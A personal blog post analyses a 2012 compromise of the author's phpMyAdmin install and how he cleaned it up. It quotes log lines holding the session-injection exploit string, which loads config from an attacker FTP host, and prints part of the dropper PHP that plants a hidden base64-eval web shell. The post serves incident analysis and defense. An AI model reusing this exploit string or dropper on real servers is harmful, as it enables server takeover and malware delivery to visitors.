Thursday, March 01, 2012

Deconstruction of a Hack

Like any fellow server maintainers out there, I know that I will occasionally be the target of an anonymous persons ire. This week it was my turn. I run an Apache server with PHP for my personal projects, nothing important. I also run a number of apps to help me manage my server, like BASE to monitor my snort logs (overkill for a personal server, yes I know), and phpMyAdmin to manage the database portion.

I made the mistake of thinking that one of my apps was secure, and the further mistake of not updating it to the most recent version of an app. I blame my busy schedule with school and work for not keeping it more up to date. Today, phpMyAdmin was the culprit.

JIGGLING THE LOCKS

Unfortunately, I left my phpMyAdmin installation off the root, in an directory that wasn't protected with a password, I was foolishly relying on the built in cookie authentication to phpMyAdmin. After the attacker found my installation, it was only a matter of time.

91.224.160.132 - [21/Feb/2012:19:39:36 -0800] "POST /phpmyadmin/config/config.inc.php HTTP/1.1" 404 691
91.224.160.132 - [21/Feb/2012:19:39:36 -0800] "GET /phpmyadmin/ HTTP/1.1" 200 2439
91.224.160.132 - [21/Feb/2012:19:39:36 -0800] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 404 691
91.224.160.132 - [21/Feb/2012:19:39:37 -0800] "POST /phpmyadmin/scripts/signon.php HTTP/1.1" 302 20
91.224.160.132 - [21/Feb/2012:19:39:37 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 691
91.224.160.132 - [21/Feb/2012:19:39:37 -0800] "GET /phpmyadmin/index.php HTTP/1.1" 200 2437
91.224.160.132 - [21/Feb/2012:19:39:38 -0800] "GET /phpmyadmin/index.php?session_to_unset=123
&token=928b1ea05d6481d9997970f4bcf9af06&_SESSION%5B!bla%5D=%7cxxx%7ca%3a1%3a%7bi%3a0%3bO%3a10%3a
%22PMA_Config%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a45%3a%22ftp%3a%2f%2fivan4174%3axuq5ytl9%4092.255.21.29%2f
httpdocs%22%3b%7d%7d HTTP/1.1" 200 20
91.224.160.132 - [21/Feb/2012:19:39:38 -0800] "GET /phpmyadmin/index.php?token=928b1ea05d6481d9997970f4bcf9af06 HTTP/1.1" 200 68
91.224.160.132 - [21/Feb/2012:19:39:45 -0800] "POST /wp-admin/zliiao.php HTTP/1.1" 200 35

One of the more popular exploits seem to be sending a php script code that will execute if the input isn't cleaned first. This seems to be the case here, I was looking through the source code of phpMyAdmin's index.php to see what would have possibly read this in and executed it, and I eyed one line in particular because it passed the entire array of $_GET into it, but I'm not sure if that was it. So I looked around some more. Since it appears to mention "PMA_Config" I thought I would search through phpMyAdmin's source for this. Turns out, the webapp.php file uses a _SESSION variable named PMA_Config to tell it the URI for something. This seems like the perfect place to stash a value from an external website that you want to execute, and sure enough, that is exactly what happens.

webapp.php snippet-

$parameters = array(
'id' => 'phpMyAdmin@' . $_SERVER['HTTP_HOST'],
'uri' => $_SESSION['PMA_Config']->get('PmaAbsoluteUri'),
'status' => 'yes',
'location' => 'no',
'sidebar' => 'no',
'navigation' => 'no',
'icon' => 'phpMyAdmin',
);


Thankfully, it looks like in the newest version of phpMyAdmin they switched out the $_SESSION array for the $GLOBALS array. Hopefully there aren't any other little nasty surprises inside of phpMyAdmin's source.

ON THE INSIDE

What did this little nasty thing do? First it excutes some remote PHP code, this code is quite rudimentary, generating a random file, stuffing it in the first directory it executes in, which in this case happened to be a wordpress directory.

Some of the PHP code it retrieved from the remote site:

$dr = $_SERVER["DOCUMENT_ROOT"];$ran=rand(5,7);
for($i;$i<$ran;$i++) $sn.=chr(rand(97,122));
$sn .= '.php';
$gdarr = array();
if (is_writeable($dr)) $gdarr[]='';
if ($dir = @opendir($dr)) {
while (false !== ($file = readdir($dir))) {
$pfile = $dr.'/'.$file;
if ($file!='.' && $file!='..') {
if (is_dir($pfile) && is_writeable($pfile)) $gdarr[]='/'.$file;
}
}
}
if (count($gdarr) == 0) die('');
$spn = $gdarr[rand(0,count($gdarr)-1)].'/'.$sn;
$f=fopen($dr.$spn,'w');
fputs($f,"4p_Y*/(/*Y83yi*/base64_decode/*w$9Pr5C*/(/*j!wb*/'Lyo3bGA6LlhFKi9ldmFsLyo1LVRCeSovKC8qOk14VCovYmFzZTY'/*@5[O*/.
(MUCH MORE BASE 64 GIBBERISH...) ");
fclose($f);
echo('--start-check'.'string--');
echo($spn);
echo('--end-check'.'string--');
die();


The code proceeds to go ahead and place an innocuous looking eval(base64_decode('5938h4g9838h4g348gherhgusehri... (BASE 64 GIBBERISH)') at the top of each index.php page.
Of course this code is anything but innocuous, it proceeds to redirect all requests to the root directory, where it has added it's own special sauce to the home page to load your browser up with some lovely malware via a java applet.

All that is required to "re-infect" the host if they choose to remove all the changed .php files is the simple random php file they have loaded up in a random directory. This file is called some random gibberish as well.

FIGHTING BACK

Unfortunately, without poring through log files, it's difficult to find where this little random php file is, especially at first. After looking through thousands of lines of log files, I decided to automate this a bit more. I enlisted the help of Process Monitor. This is quite a process intensive program as it's name implies, so I can only run it for a little while. After running it for a couple hours, I accumulated over 32 million events in this thing. Thankfully, the attacker tried to "regenerate" his infectious pages during this time, and that is when I caught the process doing all the badness. It was only a matter of deleting the script and reverting all the files after that. Thankfully the site is stored in subversion, so I don't have to worry about missing something that was changed.

CONCLUSION


Keep your apps up to date. And if you don't, make sure they aren't publicly facing.

No comments: